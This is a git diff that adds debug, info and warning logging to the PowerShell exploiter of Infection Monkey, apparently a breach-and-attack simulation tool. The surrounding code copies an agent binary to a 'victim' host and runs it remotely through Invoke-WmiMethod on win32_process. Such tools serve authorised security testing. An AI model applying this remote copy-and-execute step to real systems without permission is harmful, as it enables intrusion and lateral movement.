diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 05cf01b34..134ae907c 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -127,10 +127,13 @@ class PowerShellExploiter(HostExploiter): monkey_local_file.write(monkey_virtual_file.read()) def _copy_monkey_binary_to_victim(self, dest: str) -> bool: + LOG.debug(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}") try: self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, dest) + LOG.info(f"Successfully copied the monkey agent binary to {self.host.ip_addr}") return True except Exception: + LOG.warning(f"Failed to copy the monkey agent binary to {self.host.ip_addr}") return False finally: os.remove(TEMP_MONKEY_BINARY_FILEPATH) @@ -140,6 +143,10 @@ class PowerShellExploiter(HostExploiter): self.host, get_monkey_depth() - 1, executable_path ) + LOG.debug( + f"Attempting to execute the monkey agent on remote host " + f'{self.host.ip_addr} with commmand "{monkey_execution_command}"' + ) with self.client.wsman, RunspacePool(self.client.wsman) as pool: ps = PowerShell(pool) ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter(